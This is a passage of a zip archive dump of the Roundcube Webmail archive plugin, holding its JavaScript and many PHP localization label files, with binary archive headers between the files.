    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�wf��plugins/archive/archive.min.jsnu�[���/**
 * Archive plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function rcmail_archive(i){var e;rcmail_is_archive()||(e=rcmail.selection_post_data())._uid&&(rcmail.enable_command(rcmail.env.message_commands,!1),rcmail.enable_command("plugin.archive",!1),rcmail.with_selected_messages("move",e,null,"plugin.move2archive"),rcmail.show_contentframe(!1))}function rcmail_is_archive(){return rcmail.env.mailbox==rcmail.env.archive_folder||rcmail.env.mailbox.startsWith(rcmail.env.archive_folder+rcmail.env.delimiter)}window.rcmail&&rcmail.addEventListener("init",function(i){var e;rcmail.register_command("plugin.archive",rcmail_archive,rcmail.env.uid&&!rcmail_is_archive()),rcmail.message_list&&rcmail.message_list.addEventListener("select",function(i){rcmail.enable_command("plugin.archive",0<i.get_selection().length&&!rcmail_is_archive())}),rcmail.env.archive_folder&&((e=rcmail.subscription_list?rcmail.subscription_list.get_item(rcmail.env.archive_folder):rcmail.get_folder_li(rcmail.env.archive_folder,"",!0))&&$(e).addClass("archive"),rcmail.addEventListener("menu-open",function(i){var e;"folder-selector"==i.name&&(e=rcmail.env.archive_folder,$("a",i.obj).filter(function(){return $(this).data("id")==e}).parent().addClass("archive"))}))});
PKh�\�K,l
l
plugins/archive/archive.jsnu�[���/**
 * Archive plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

function rcmail_archive(prop)
{
  if (rcmail_is_archive())
    return;

  var post_data = rcmail.selection_post_data();

  // exit if selection is empty
  if (!post_data._uid)
    return;

  // Disable message command buttons until a message is selected
  rcmail.enable_command(rcmail.env.message_commands, false);
  rcmail.enable_command('plugin.archive', false);

  // let the server sort the messages to the according subfolders
  rcmail.with_selected_messages('move', post_data, null, 'plugin.move2archive');

  // Reset preview (must be after with_selected_messages() call)
  rcmail.show_contentframe(false);
}

function rcmail_is_archive()
{
  // check if current folder is an archive folder or one of its children
  return rcmail.env.mailbox == rcmail.env.archive_folder
    || rcmail.env.mailbox.startsWith(rcmail.env.archive_folder + rcmail.env.delimiter);
}

// callback for app-onload event
if (window.rcmail) {
  rcmail.addEventListener('init', function(evt) {
    // register command (directly enable in message view mode)
    rcmail.register_command('plugin.archive', rcmail_archive, rcmail.env.uid && !rcmail_is_archive());

    // add event-listener to message list
    if (rcmail.message_list)
      rcmail.message_list.addEventListener('select', function(list) {
        rcmail.enable_command('plugin.archive', list.get_selection().length > 0 && !rcmail_is_archive());
      });

    // set css style for archive folder
    var li;
    if (rcmail.env.archive_folder) {
      // in Settings > Folders
      if (rcmail.subscription_list)
        li = rcmail.subscription_list.get_item(rcmail.env.archive_folder);
      // in folders list
      else
        li = rcmail.get_folder_li(rcmail.env.archive_folder, '', true);

      if (li)
        $(li).addClass('archive');

      // in folder selector popup
      rcmail.addEventListener('menu-open', function(p) {
        if (p.name == 'folder-selector') {
          var search = rcmail.env.archive_folder;
          $('a', p.obj).filter(function() { return $(this).data('id') == search; }).parent().addClass('archive');
        }
      });
    }
  });
}
PKh�\���k��&plugins/archive/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = '存档';
$labels['buttontitle'] = '存档该信息';
$labels['archived'] = '存档成功';
$labels['archivedreload'] = '存档成功。请刷新本页以查看新的存档文件夹。';
$labels['archiveerror'] = '部分信息无法存档';
$labels['archivefolder'] = '存档';
$labels['settingstitle'] = '存档';
$labels['archivetype'] = '分类存档按';
$labels['archivetypeyear'] = '年(例如 存档/2012)';
$labels['archivetypemonth'] = '月(例如 存档/2012/06)';
$labels['archivetypetbmonth'] = '月份 - Thunderbird 兼容格式 (比如 Archive/2012/2012-06)';
$labels['archivetypefolder'] = '原始文件夹';
$labels['archivetypefolderyear'] = '年份与原始文件夹(例如:Archive/2012/...)';
$labels['archivetypefoldermonth'] = '年份、月份与原始文件夹(例如:Archive/2012/06/...)';
$labels['archivetypesender'] = '发件人邮件';
$labels['unkownsender'] = '未知';
$labels['readonarchive'] = '在归档中标记信息为已读';
PKh�\@�ml		&plugins/archive/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архіў';
$labels['buttontitle'] = 'Перанесці ў архіў';
$labels['archived'] = 'Паспяхова перанесена ў архіў';
$labels['archivedreload'] = 'Паспяхова перанесена ў архіў. Перагрузіце старонку, каб пабачыць новыя архіўныя каталогі.';
$labels['archiveerror'] = 'Некаторыя лісты немагчыма перанесці ў архіў';
$labels['archivefolder'] = 'Архіў';
$labels['settingstitle'] = 'Архіў';
$labels['archivetype'] = 'Падзяліць архіў паводле';
$labels['archivetypeyear'] = 'года (напрыклад, Архіў/2012)';
$labels['archivetypemonth'] = 'месяца (напрыклад, Архіў/2012/06)';
$labels['archivetypetbmonth'] = 'месяца - сумяшчальнасць з Thunderbird (напрыклад, Архіў/2012/2012-06)';
$labels['archivetypefolder'] = 'зыходнага каталога';
$labels['archivetypefolderyear'] = 'года і зыходнага каталога (напрыклад, Архіў/2012/...)';
$labels['archivetypefoldermonth'] = 'года, месяца і зыходнага каталога (напрыклад, Архіў/2012/06/...)';
$labels['archivetypesender'] = 'Электронная пошта адпраўніка';
$labels['unkownsender'] = 'невядомы';
$labels['readonarchive'] = 'Пазначыць ліст прачытаным у архіве';
PKh�\�M,��&plugins/archive/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архивирай';
$labels['buttontitle'] = 'Архивиране на писмото';
$labels['archived'] = 'Архивирането премина успешно';
$labels['archivedreload'] = 'Успешно архивирано. Презаредете страницата за да видите архивираните папки.';
$labels['archiveerror'] = 'Някои писма не бяха архивирани';
$labels['archivefolder'] = 'Архивирай';
$labels['settingstitle'] = 'Архив';
$labels['archivetype'] = 'Раздели архива по';
$labels['archivetypeyear'] = 'Година (пр. Архив/2012)';
$labels['archivetypemonth'] = 'Месец (пр. Архив/2012/06)';
$labels['archivetypetbmonth'] = 'Месец - съвместим с Thunderbird (пр. Архив/2012/2012-06)';
$labels['archivetypefolder'] = 'Оригинална папка';
$labels['archivetypefolderyear'] = 'Година и оригиналната папка (пр. Архив/2012/...) ';
$labels['archivetypefoldermonth'] = 'Година, месец и оригиналната папка (пр. Архив/2012/06/...) ';
$labels['archivetypesender'] = 'E-mail адрес на подател';
$labels['unkownsender'] = 'неизвестно';
$labels['readonarchive'] = 'Маркирай писмото като прочетено в архива';
PKh�\�s�qGG&plugins/archive/localization/ne_NP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'अज्ञात';
PKh�\[D��''&plugins/archive/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels = [];
$labels['buttontext'] = 'Archive';
$labels['buttontitle'] = 'Archive this message';
$labels['archived'] = 'Successfully archived';
$labels['archivedreload'] = 'Successfully archived. Reload the page to see the new archive folders.';
$labels['archiveerror'] = 'Some messages could not be archived';
$labels['archivefolder'] = 'Archive';
$labels['settingstitle'] = 'Archive';
$labels['archivetype'] = 'Divide archive by';
$labels['archivetypeyear'] = 'Year (e.g. Archive/2012)';
$labels['archivetypemonth'] = 'Month (e.g. Archive/2012/06)';
$labels['archivetypetbmonth'] = 'Month - Thunderbird compatible (e.g. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Original folder';
$labels['archivetypefolderyear'] = 'Year and the original folder (e.g. Archive/2012/...)';
$labels['archivetypefoldermonth'] = 'Year, month and the original folder (e.g. Archive/2012/06/...)';
$labels['archivetypesender'] = 'Sender email';
$labels['unkownsender'] = 'unknown';
$labels['readonarchive'] = 'Mark the message as read on archive';
PKh�\��&bGG&plugins/archive/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkistoi';
$labels['buttontitle'] = 'Arkistoi viesti';
$labels['archived'] = 'Arkistoitu onnistuneesti';
$labels['archivedreload'] = 'Arkistointi onnistui. Päivitä sivu nähdäksesi uudet arkistokansiot.';
$labels['archiveerror'] = 'Joidenkin viestien arkistointi epäonnistui';
$labels['archivefolder'] = 'Arkisto';
$labels['settingstitle'] = 'Arkistointi';
$labels['archivetype'] = 'Jaa arkisto';
$labels['archivetypeyear'] = 'Vuodella (esim. Arkisto/2012)';
$labels['archivetypemonth'] = 'Kuukaudella (esim. Arkisto/2012/06)';
$labels['archivetypetbmonth'] = 'Kuukausi - Thunderbird-yhteensopiva (esim. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Alkuperäinen kansio';
$labels['archivetypefolderyear'] = 'Vuosi ja alkuperäinen kansio (esim. Arkisto/2012/…)';
$labels['archivetypefoldermonth'] = 'Vuosi, kuukausi ja alkuperäinen kansio (esim. Arkisto/2012/06/…)';
$labels['archivetypesender'] = 'Lähettäjän osoite';
$labels['unkownsender'] = 'tuntematon';
$labels['readonarchive'] = 'Merkitse viesti luetuksi arkistoon';
PKh�\et�e&plugins/archive/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkiv';
$labels['buttontitle'] = 'Arkiver meldingen';
$labels['archived'] = 'Arkivert';
$labels['archivedreload'] = 'Arkivering vellykket. Last inn siden på nytt for å se de nye arkivmappene.';
$labels['archiveerror'] = 'Noen meldinger kunne ikke arkiveres';
$labels['archivefolder'] = 'Arkiv';
$labels['settingstitle'] = 'Arkiv';
$labels['archivetype'] = 'Del arkiv etter';
$labels['archivetypeyear'] = 'År (f.eks. Arkiv/2012)';
$labels['archivetypemonth'] = 'Måned (f.eks. Arkiv/2012/06)';
$labels['archivetypetbmonth'] = 'Måned - Thunderbird kompatibel (f.eks. Arkiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Opprinnelig mappe';
$labels['archivetypefolderyear'] = 'År og opprinnelig mappe (f.eks. Arkiv/2012/...)';
$labels['archivetypefoldermonth'] = 'År, måned og opprinnelig mappe (f.eks. Arkiv/2012/06/...)';
$labels['archivetypesender'] = 'Avsender';
$labels['unkownsender'] = 'ukjent';
$labels['readonarchive'] = 'Merk meldingen som lest ved arkivering';
PKh�\7�C�//&plugins/archive/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkivoje';
$labels['buttontitle'] = 'Arkivoje këtë mesazh';
$labels['archived'] = 'U arkivua me sukses';
$labels['archivedreload'] = 'U arkivua me sukses. Ringarkoni faqen që të shihni dosjet e reja arkiv.';
$labels['archiveerror'] = 'Ca nga mesazhet s’u arkivuan dot';
$labels['archivefolder'] = 'Arkivoje';
$labels['settingstitle'] = 'Arkivoje';
$labels['archivetype'] = 'Ndaje arkivin sipas';
$labels['archivetypeyear'] = 'Vit (p.sh. Arkiv/2012)';
$labels['archivetypemonth'] = 'Muaj (p.sh. Arkiv/2012/06)';
$labels['archivetypetbmonth'] = 'Muaj - i përputhshëm me Thunderbird-in (p.sh. Arkiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Dosje origjinale';
$labels['archivetypefolderyear'] = 'Vit dhe dosja origjinale (p.sh., Arkiv/2012/…)';
$labels['archivetypefoldermonth'] = 'Vit, muaj,dhe dosja origjinale (p.sh., Arkiv/2012/06/…)';
$labels['archivetypesender'] = 'Email dërguesi';
$labels['unkownsender'] = 'e panjohur';
$labels['readonarchive'] = 'I vini shenjë si të lexuar mesazhit në arkiv';
PKh�\�EpcII&plugins/archive/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arhiveeri';
$labels['buttontitle'] = 'Arhiveeri see kiri';
$labels['archived'] = 'Edukalt arhiveeritud';
$labels['archivedreload'] = 'Arhiveerimine õnnestus. Uute arhiivi kaustada nägemiseks laadi leht uuesti.';
$labels['archiveerror'] = 'Mõnda kirja ei õnnestusnud arhiveerida';
$labels['archivefolder'] = 'Arhiiv';
$labels['settingstitle'] = 'Arhiiv';
$labels['archivetype'] = 'Jaga arhiiv';
$labels['archivetypeyear'] = 'Aasta (nt. Arhiiv/2012)';
$labels['archivetypemonth'] = 'Kuu (nt. Arhiiv/2012/06)';
$labels['archivetypefolder'] = 'Esialgne kaust';
$labels['archivetypefolderyear'] = 'Aasta ja algne kaust (nt. Arhiiv/2012/...)';
$labels['archivetypesender'] = 'Saatja e-post';
$labels['unkownsender'] = 'teadmata';
$labels['readonarchive'] = 'Märgi kiri arhiveerimisel loetuks';
PKh�\�;@6��&plugins/archive/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'ئەرشیف';
$labels['buttontitle'] = 'ئەم نامەیە ئەرشیف بکە';
$labels['archived'] = 'بەسەرکەوتوویی ئەرشیف کرا';
$labels['archivedreload'] = 'بەسەرکەوتوویی ئەرشیف کرا، دووبارە پەڕەکە بکەرەوە بۆ بینینی بوخچە نوێیەکانی ئەرشیف.';
$labels['archiveerror'] = 'نەتوانرا هەندێک لە نامەکان ئەرشیف بکرێن';
$labels['archivefolder'] = 'ئەرشیف';
$labels['settingstitle'] = 'ئەرشیف';
$labels['archivetype'] = 'ئەرشیف دابەشبکە بەپێی';
$labels['archivetypeyear'] = 'ساڵ (بۆ نموونە ئەرشیف/2012)';
$labels['archivetypemonth'] = 'مانگ (بۆ نموونە ئەرشیف/06/2012)';
$labels['archivetypetbmonth'] = 'مانگ - گوونجاو لەگەڵ سەندەربێرد (بۆ نموونە ئەرشیف2012/2012-06)';
$labels['archivetypefolder'] = 'بوخچەی ڕەسەن';
$labels['archivetypefolderyear'] = 'ساڵ و بوخچە ڕەسەنەکە (بۆ نموونە ئەرشیف/2012/...)';
$labels['archivetypefoldermonth'] = 'ساڵ، مانگ و بوخچە ڕەسەنەکە (بۆ نموونە ئەرشیف/2012/06/...)';
$labels['archivetypesender'] = 'پۆستی ئەلیکترۆنیی نێردەر';
$labels['unkownsender'] = 'نەناسراو';
$labels['readonarchive'] = 'لە ئەرشیفدا نامەکە وەکو خوێنراوە دیاریبکە';
PKh�\bI�MM&plugins/archive/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Artxibatu';
$labels['buttontitle'] = 'Artxibatu mezu hau';
$labels['archived'] = 'Ongi artxibatu da';
$labels['archivedreload'] = 'Ongi artxibatu da. Birkargatu orria artxiboan karpeta berriak ikusteko.';
$labels['archiveerror'] = 'Mezu batzuk ezin izan dira artxibatu';
$labels['archivefolder'] = 'Artxibatu';
$labels['settingstitle'] = 'Artxibatu';
$labels['archivetype'] = 'Banatu honen arabera';
$labels['archivetypeyear'] = 'Urtea (e.b. Archive/2012)';
$labels['archivetypemonth'] = 'Hilabetea (e.b. Archive/2012/06)';
$labels['archivetypetbmonth'] = 'Hilabetea - Thunderbird-ekin bateragarria (ad. Artxiboa/2012/2012-06)';
$labels['archivetypefolder'] = 'Jatorrizko karpeta';
$labels['archivetypefolderyear'] = 'Urtea eta jatorrizko karpeta (adib. Artxiboa/2012/...)';
$labels['archivetypefoldermonth'] = 'Urtea, hilabetea eta jatorrizko karpeta (adib. Artxiboa/2012/06/...)';
$labels['archivetypesender'] = 'Bidaltzailearen helbidea';
$labels['unkownsender'] = 'ezezaguna';
$labels['readonarchive'] = 'Markatu mezua irakurrita bezala artxiboan';
PKh�\��)&plugins/archive/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arşivle';
$labels['buttontitle'] = 'Bu iletiyi arşivle';
$labels['archived'] = 'Arşivlendi.';
$labels['archivedreload'] = 'Arşivlendi. Yeni arşiv klasörlerini görmek için sayfayı yenileyin.';
$labels['archiveerror'] = 'Bazı iletiler arşivlenemedi';
$labels['archivefolder'] = 'Arşiv';
$labels['settingstitle'] = 'Arşiv';
$labels['archivetype'] = 'Arşivleme şuna göre yapılsın';
$labels['archivetypeyear'] = 'Yıl (Arşiv/2012)';
$labels['archivetypemonth'] = 'Ay (Arşiv/2012/06)';
$labels['archivetypetbmonth'] = 'Ay - Thunderbird uyumlu (Arsiv2012/2012-06 gibi)';
$labels['archivetypefolder'] = 'Özgün klasör';
$labels['archivetypefolderyear'] = 'Yıl ve özgün klasör (Örnek: Arşiv/2012 ...)';
$labels['archivetypefoldermonth'] = 'Yıl, ay ve özgün klasör (Örnek: Arşiv/2012/06 ...)';
$labels['archivetypesender'] = 'Gönderici adresi';
$labels['unkownsender'] = 'bilinmeyen';
$labels['readonarchive'] = 'Arşivdeki ileti okunmuş olarak işaretlensin';
PKh�\��33&plugins/archive/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivo';
$labels['buttontitle'] = 'Archivar este mensaje';
$labels['archived'] = 'Mensaje Archivado';
$labels['archivedreload'] = 'Archivado satisfactoriamente. Recarga la página para ver las nuevas capetas archivadas.';
$labels['archiveerror'] = 'Algunos mensajes no pudieron archivarse';
$labels['archivefolder'] = 'Archivo';
$labels['settingstitle'] = 'Archivo';
$labels['archivetype'] = 'Separar archivo por';
$labels['archivetypeyear'] = 'Año (ej. Archivo/2012)';
$labels['archivetypemonth'] = 'Mes (ej. Archivo/2012/06)';
$labels['archivetypetbmonth'] = 'Mes - estilo Thunderbird  (ej. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Carpeta original';
$labels['archivetypefolderyear'] = 'Año y la carpeta original (p.ej. Archivo/2012/...)';
$labels['archivetypefoldermonth'] = 'Año, mes y la carpeta original (p.ej. Archivo/2012/06/...)';
$labels['archivetypesender'] = 'Remitente del correo';
$labels['unkownsender'] = 'desconocido';
$labels['readonarchive'] = 'Marcar el mensaje como leído al archivar';
PKh�\J���#plugins/archive/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arşîv';
$labels['buttontitle'] = 'vê peyamê arşîv bike';
$labels['archived'] = 'Bi serkeftin hat arşîvkirin';
$labels['archivedreload'] = 'Bi serkeftin hat arşîvkirin. Rûpelê dîsa bar bike da dosyeyên arşîvê yên nû bibînî.';
$labels['archiveerror'] = 'Hin peyam nehatin arşîvkirin.';
$labels['archivefolder'] = 'Arşîv';
$labels['settingstitle'] = 'Arşîv';
$labels['archivetype'] = 'Arşîvê dabeşîne';
$labels['archivetypeyear'] = 'Sal (wek Arşîv/2012)';
$labels['archivetypemonth'] = 'Meh (wek Arşîv/2012/06)';
$labels['archivetypefolder'] = 'Dosyeya resen';
$labels['archivetypesender'] = 'Emaila şandyar';
$labels['unkownsender'] = 'nenas';
PKh�\�x��<<&plugins/archive/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arquivo';
$labels['buttontitle'] = 'Arquivar esta mensagem';
$labels['archived'] = 'Arquivada com sucesso';
$labels['archivedreload'] = 'Arquivado com sucesso. Recarregue a página para ver as novas pastas de arquivo.';
$labels['archiveerror'] = 'Algumas mensagens não puderam ser arquivadas';
$labels['archivefolder'] = 'Arquivo';
$labels['settingstitle'] = 'Arquivo';
$labels['archivetype'] = 'Dividir arquivo por';
$labels['archivetypeyear'] = 'Ano (isto é, Arquivo/2012)';
$labels['archivetypemonth'] = 'Mês (isto é, Arquivo/2012/06)';
$labels['archivetypetbmonth'] = 'Mês - Compatível com o Thunderbird (exemplo Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Pasta original';
$labels['archivetypefolderyear'] = 'Ano e pasta original (ex. Arquivo/2012/...)';
$labels['archivetypefoldermonth'] = 'Ano, mês e pasta original (ex. Arquivo/2012/06/...)';
$labels['archivetypesender'] = 'E-mail do remetente';
$labels['unkownsender'] = 'desconhecido';
$labels['readonarchive'] = 'Marcar a mensagem como lida ao arquivar';
PKh�\�%ff&plugins/archive/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arhīvs';
$labels['buttontitle'] = 'Arhivēt šo vēstuli';
$labels['archived'] = 'Vēstule veiksmīgi arhivēta';
$labels['archivedreload'] = 'Arhīvs veiksmīgi izveidots. Lai redzētu jaunās arhīva mapes, pārlādējiet lapu.';
$labels['archiveerror'] = 'Dažas vēstules nebija iespējams arhivēt';
$labels['archivefolder'] = 'Arhīvs';
$labels['settingstitle'] = 'Arhīvs';
$labels['archivetype'] = 'Sadalīt arhīvu pa';
$labels['archivetypeyear'] = 'Gadiem (piem. Arhīvs/2012)';
$labels['archivetypemonth'] = 'Mēnešiem (piem. Arhīvs/2012/06)';
$labels['archivetypetbmonth'] = 'Mēnesis - Savietojams ar Thunderbird (piem. Arhīvs/2012/2012-06)';
$labels['archivetypefolder'] = 'Sākotnējā mape';
$labels['archivetypefolderyear'] = 'Gads un oriģinālā mapīte (oiem. Archive/2012/...)';
$labels['archivetypefoldermonth'] = 'Gads, mēnesis un oriģinālā mapīte (piem. Archive/2012/06/...)';
$labels['archivetypesender'] = 'Sūtītāja e-pasts';
$labels['unkownsender'] = 'nezināms';
$labels['readonarchive'] = 'Arhivējot, atzīmēt vēstuli kā izlasītu';
PKh�\�(�=��&plugins/archive/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivovať';
$labels['buttontitle'] = 'Archivovať túto správu';
$labels['archived'] = 'Úspešne uložené do archívu';
$labels['archivedreload'] = 'Archivovanie bolo úspešne dokončené. Ak si chcete prezrieť nové archívne priečinky, obnovte stránku.';
$labels['archiveerror'] = 'Niektoré správy nebolo možné archivovať';
$labels['archivefolder'] = 'Archivovať';
$labels['settingstitle'] = 'Archív';
$labels['archivetype'] = 'Rozdeliť archív po';
$labels['archivetypeyear'] = 'rokoch (napríklad Archív/2012)';
$labels['archivetypemonth'] = 'mesiacoch (napríklad Archív/2012/06)';
$labels['archivetypetbmonth'] = 'mesiacoch - kompatibilne s Thunderbird (napríklad Archív /2012/2012-06)';
$labels['archivetypefolder'] = 'Pôvodný priečinok';
$labels['archivetypefolderyear'] = 'Rok a pôvodný priečinok (napr.: Archive/2012/...)';
$labels['archivetypefoldermonth'] = 'Rok, mesiac a pôvodný priečinok (napr.: Archive/2012/06/...)';
$labels['archivetypesender'] = 'E-mailová adresa odosielateľa';
$labels['unkownsender'] = 'neznámy';
$labels['readonarchive'] = 'Pri archivovaní označiť správu ako prečítanú';
PKh�\(C�eAA&plugins/archive/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
